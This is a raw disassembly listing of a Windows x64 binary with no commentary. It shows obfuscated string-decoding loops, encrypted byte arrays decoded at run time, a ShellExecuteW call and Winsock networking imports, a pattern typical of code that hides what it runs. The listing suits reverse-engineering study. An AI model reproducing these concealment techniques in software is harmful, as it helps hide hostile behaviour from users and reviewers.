movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d6662
inc rax
cmp r8, rax
jne 0x1400d6ab6
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x1400d6eae
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6ade
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d6d6f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6b00
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400d6cfd
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d6b2e
lea edx, [rbx - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400d6662
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d6a27
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x1400d6df2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d6b78
lea ecx, [rbx - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x1400d6df2
inc rax
cmp r8, rax
jne 0x1400d6ba5
lea edx, [rbx + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400d6662
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6bc7
lea edx, [rbx - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400d6cfd
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d6bea
lea ecx, [rbx + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
jmp 0x1400d6e5e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d6943
lea edx, [rbx - 0x7e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d6662
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d6c5a
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r11b
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d6662
inc rax
cmp r8, rax
jne 0x1400d6c7c
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400d6eae
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6c9f
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x1400d6e5e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6cc2
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x1400d6d6f
cmp r8, rcx
jne 0x1400d6974
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x1400d6df2
lea edx, [rbx + 0x30]
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx - 0x10]
sub r10b, al
sub r10b, 0x50
add r10b, dl
add r10b, r11b
lea edx, [rbx + 0xe]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x62
add cl, dl
add cl, r11b
mov byte [rbp + rbx - 0x10], cl
jmp 0x1400d6d6f
lea ecx, [rbx - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx - 0x10]
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x1400d6e5e
lea ecx, [rbx + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x1400d6e5e
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d6662
lea edx, [rbx + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400d6662
lea edx, [rbx - 0x52]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d6662
lea edx, [rbx - 0xe]
mov ecx, Ordinal_50
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea ecx, [rbx + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3e
add cl, r11b
mov byte [rbp + rbx - 0x10], cl
inc r9
dec rbx
inc rbx
jmp 0x1400d6662
lea ecx, [rbx + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
dec rbx
inc rbx
jmp 0x1400d6662
movabs rdx, 0xe95830d7fc712412
add rdx, rbx
movzx r11d, dil
movzx eax, dl
and al, dil
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x7e
add r10b, dl
lea edx, [rbx - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx - 0x10], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400d6eae
movabs rdx, 0x5d8822e36b2c3e56
add rdx, rbx
movzx r11d, dil
movzx eax, dl
and al, dil
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x5a
add r10b, dl
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx - 0x10], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d6662
lea rcx, [rbx + r13]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x36
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d6662
add bl, 0x56
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x5a
jmp 0x1400d6660
sub bl, 0x66
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x36
jmp 0x1400d6650
lea rax, [rbp + 0x1652d18]
jmp 0x1400d6f5f
lea rax, [rbp + 0x1479ff6]
jmp 0x1400d6f5f
lea rax, [rbp - 0x10]
mov qword [rbp + 0x3d8], rax
xor r8d, r8d
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x10]
call fcn.1400e9110
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.140024210
lea rcx, [rbp + 0x30]
call fcn.140024a10
mov dword [rsp + 0x28], r14d
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, r15
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x30]
call fcn.1400249a0
nop
lea rcx, [rbp + 0x10]
call fcn.1400249a0
mov byte [rbp + 0x310], 0xde
mov byte [rbp + 0x311], Ordinal_211
mov byte [rbp + 0x312], 0xcc
mov byte [rbp + 0x313], 0xcb
mov byte [rbp + 0x314], Ordinal_211
mov byte [rbp + 0x315], 7
mov byte [rbp + 0x316], reloc.WS2_32.dll_listen
mov byte [rbp + 0x317], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x318], reloc.WS2_32.dll_listen
mov byte [rbp + 0x319], Ordinal_41
mov byte [rbp + 0x31a], Ordinal_45
mov byte [rbp + 0x31b], Ordinal_41
mov byte [rbp + 0x31c], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + Ordinal_50d], 0x31
mov byte [rbp + Ordinal_50e], 0x31
mov byte [rbp + 0x31f], 0xe9
mov byte [rbp + 0x320], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x321], Ordinal_60
mov byte [rbp + 0x322], Ordinal_45
mov byte [rbp + 0x323], 0xfa
mov byte [rbp + 0x324], 0x3f
mov byte [rbp + 0x325], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x326], 0x3d
mov byte [rbp + 0x327], 0x3d
mov byte [rbp + 0x328], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x329], 0xe0
mov byte [rbp + 0x32a], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x32b], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x32c], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x32d], Ordinal_50
mov byte [rbp + 0x32e], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_50f], 0x32
mov byte [rbp + 0x330], Ordinal_35
mov byte [rbp + 0x331], 0xe8
mov byte [rbp + 0x332], 0xec
mov byte [rbp + 0x333], 0xe8
mov byte [rbp + 0x334], 0xf5
mov byte [rbp + gethostname5], 0x33
mov byte [rbp + 0x336], Ordinal_60
mov byte [rbp + 0x337], Ordinal_41
mov byte [rbp + 0x338], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x339], reloc.WS2_32.dll_send
mov byte [rbp + 0x33a], Ordinal_211
mov byte [rbp + 0x33b], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x33c], 5
mov byte [rbp + 0x33d], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x33e], 0xcb
mov byte [rbp + 0x33f], 5
mov byte [rbp + 0x340], Ordinal_35
mov byte [rbp + 0x341], Ordinal_27
mov byte [rbp + 0x342], recvfrom
mov byte [rbp + 0x343], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x344], Ordinal_35
mov byte [rbp + 0x345], Ordinal_200
mov byte [rbp + 0x346], dil
mov byte [rbp + 0x347], 4
mov byte [rbp + 0x348], 8
mov byte [rbp + 0x349], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x34a], 4
mov byte [rbp + 0x34b], Ordinal_27
mov byte [rbp + 0x34c], Ordinal_35
mov byte [rbp + 0x34d], reloc.WS2_32.dll_select
mov byte [rbp + 0x34e], 0xdb
mov byte [rbp + 0x34f], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x350], Ordinal_35
mov byte [rbp + 0x351], Ordinal_32
mov byte [rbp + 0x352], Ordinal_35
mov byte [rbp + 0x353], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x354], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x355], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x356], Ordinal_211
mov byte [rbp + 0x357], 0xff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x368], rax
movabs rsi, 0xaf86aaccf4197af7
movabs r14, 0x2bbc013494e552af
movabs r12, 0x6da15600c47f66d3
movabs r15, 0xe940066dc4c70e5
movzx edx, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
mov rbx, rdi
cmp rbx, 0x60
jae 0x1400d7b17
movzx r10d, byte [rbp + rbx + 0x310]
mov r11, r10
nop dword [rax]
cmp r8, rbx
ja 0x1400d7b0e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d725b
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, r10
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r10
add dl, 0x3f
jmp 0x1400d72a1
je 0x1400d7aa1
inc rax
cmp r8, rax
je 0x1400d7a47
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d7a19
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d79e2
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d79c2
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d7984
cmp r9, rbx
ja 0x1400d7b05
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400d72c8
lea edx, [rbx + 0x43]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x2b
add dl, r10b
jmp 0x1400d72f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d796e
inc rax
cmp r8, rax
je 0x1400d794e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d7931
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400d7678
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d765e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d763c
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d762b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d7611
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d75f3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d75c6
lea r8, [r9 + 8]
lea r9, [r8 + 8]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d7ae9
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d7acd
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d7441
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d7426
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d7548
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d7509
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d7300
mov r8, rax
lea r9, [rax + 0x400]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d74dc
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d74c3
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d74a9
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d7498
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d7476
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d745c
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d7300
mov r8, rax
lea r9, [rax + 0x64]
jmp 0x1400d7300
lea edx, [rbx + 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x35
add dl, cl
jmp 0x1400d72f0
lea edx, [rbx + 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x39
add dl, cl
jmp 0x1400d7226
lea edx, [rbx + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d7998
lea edx, [rbx + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec rbx
inc rbx
jmp 0x1400d7213
lea edx, [rbx + 0x4e]
movzx eax, r10b
and al, dl
sub dl, 0x22
jmp 0x1400d79ee
lea ecx, [rbx + 0x72]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1e
jmp 0x1400d7a2f
lea edx, [rbx - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1a
jmp 0x1400d7a5f
lea edx, [rbx - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7213
lea edx, [rbx - 0x19]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x51
add dl, cl
cmp r9, 0x40
jb 0x1400d78b9
lea edx, [rbx + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400d799a
lea edx, [rbx + 0xb]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4d
add dl, cl
lea rax, [r8 + r9]
cmp rax, 5
je 0x1400d78e8
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400d773e
lea edx, [rbx - 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 3
add dl, cl
cmp r8, 0x200
jae 0x1400d78c8
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400d77ef
lea edx, [rbx + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d751d
lea edx, [rbx - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7213
lea edx, [rbx - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
movzx r11d, bl
jmp 0x1400d78ff
lea ecx, [rbx - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x78
jmp 0x1400d7a2f
lea edx, [rbx - 0x14]
movzx eax, r10b
and al, dl
sub dl, 0x74
jmp 0x1400d79ee
lea edx, [rbx - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec rbx
inc rbx
jmp 0x1400d7213
lea edx, [rbx + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d7998
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400d769a
lea edx, [rbx - 9]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x3f
jmp 0x1400d755c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d76d0
lea edx, [rbx - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7213
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d76f8
movzx r11d, bl
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d78ff
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d7720
lea edx, [rbx + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r8, r9
jmp 0x1400d7a2f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d755e
lea edx, [rbx + 0x2c]
movzx eax, r10b
and al, dl
sub dl, 0x34
jmp 0x1400d79ee
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d7760
lea edx, [rbx - 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7f
jmp 0x1400d7998
inc rax
cmp r8, rax
jne 0x1400d7788
lea ecx, [rbx - 0x5b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x7d
dec rbx
inc rbx
jmp 0x1400d7213
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d77a2
lea edx, [rbx - 0x6d]
movzx eax, r10b
and al, dl
sub dl, 5
jmp 0x1400d79ee
cmp r8, rcx
jne 0x1400d77c4
lea ecx, [rbx - 0x7f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x79
add r8, r9
jmp 0x1400d7a2f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d758f
movzx r11d, bl
lea edx, [r11 + 0x5d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x75
jmp 0x1400d78ff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d7823
lea ecx, [rbx + 0xc]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x54
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7213
inc rax
cmp r8, rax
jne 0x1400d7845
lea edx, [rbx - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d7a5f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d786a
lea edx, [rbx - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400d7a2f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d7893
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400d7213
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d751f
lea edx, [rbx + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x64
jmp 0x1400d7998
mov byte [rbp + rbx + 0x310], dl
inc rbx
jmp 0x1400d7213
lea edx, [rbx + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, byte [rbp + rbx + 0x310]
sub cl, al
add cl, r10b
sub dl, 0x68
jmp 0x1400d79f6
movzx r11d, bl
lea edx, [r11 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add dl, cl
add r11b, 0x3d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x55
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rbx + 0x310], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400d7a61
lea ecx, [rbx - 0x17]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x5f
add r8, r9
jmp 0x1400d7a2f
lea ecx, [rbx + 0xd]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x5b
dec rbx
inc rbx
jmp 0x1400d7213
lea edx, [rbx + 0x31]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x57
jmp 0x1400d7998
lea edx, [rbx + 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x53
add dl, cl
lea ecx, [rbx + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x59
add cl, r10b
mov byte [rbp + rbx + 0x310], cl
inc r9
dec rbx
inc rbx
jmp 0x1400d7213
lea ecx, [rbx + 0x79]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4f
dec rbx
inc rbx
jmp 0x1400d7213
lea edx, [rbx - 0x75]
movzx eax, r10b
and al, dl
add dl, 0x33
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
lea ecx, [rbx + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x29
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x310], cl
add r8, r9
jmp 0x1400d7a2f
lea rcx, [rbx + r14]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x37
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d7213
lea rcx, [rbx + r12]
movzx r10d, r11b
and r11b, cl
add r11b, r11b
movzx edx, r10b
sub dl, r11b
add dl, 0x3b
add dl, cl
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x6c
add cl, r10b
mov byte [rbp + rbx + 0x310], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7213
lea rcx, [rbx + r15]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x43
movzx eax, byte [rbp + rbx + 0x310]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d7213
add bl, 0x53
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
sub dl, 0x45
xor edi, edi
jmp 0x1400d7210
add bl, 0x65
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
add dl, 0x3d
xor edi, edi
jmp 0x1400d7200
lea rax, [rbp + 0x15ea104]
jmp 0x1400d7b1e
lea rax, [rbp + 0x781bfb]
jmp 0x1400d7b1e
lea rax, [rbp + 0x310]
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x50]
call fcn.1400e9110
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.140024210
nop
lea rcx, [rbp + 0x50]
call fcn.1400249a0
mov byte [rbp + 0x90], 0xc1
mov byte [rbp + 0x91], 0xc1
mov byte [rbp + 0x92], Ordinal_200
mov byte [rbp + 0x93], Ordinal_200
xor eax, eax
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], eax
mov byte [rbp + 0xa0], al
movabs rsi, 0x475a366d0ae0
movabs r15, 0x164c310213660
movabs r14, 0xd60ea34720a0
movzx r10d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
mov edi, ebx
cmp rdi, 0x11
jae 0x1400d85de
movzx ebx, byte [rbp + rdi + 0x90]
mov rdx, rbx
nop dword [rax]
cmp r8, rdi
ja 0x1400d85d6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d7c0c
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x20
jmp 0x1400d7c45
je 0x1400d8567
inc rax
cmp r8, rax
je 0x1400d850c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d84dc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d849b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d8479
cmp r9, rdi
ja 0x1400d85ce
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d7c72
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d7cb2
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d8436
inc rax
cmp r8, rax
je 0x1400d82a1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d849b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d82c9
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d8407
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400d81a6
nop
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d8188
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d816c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d814d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d822b
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d812f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d8118
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d80ff
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d80e3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d80b4
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d7cc0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 9]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d85b2
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d8592
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d7ea6
lea rax, [r9 + 0x42]
cmp r8, rax
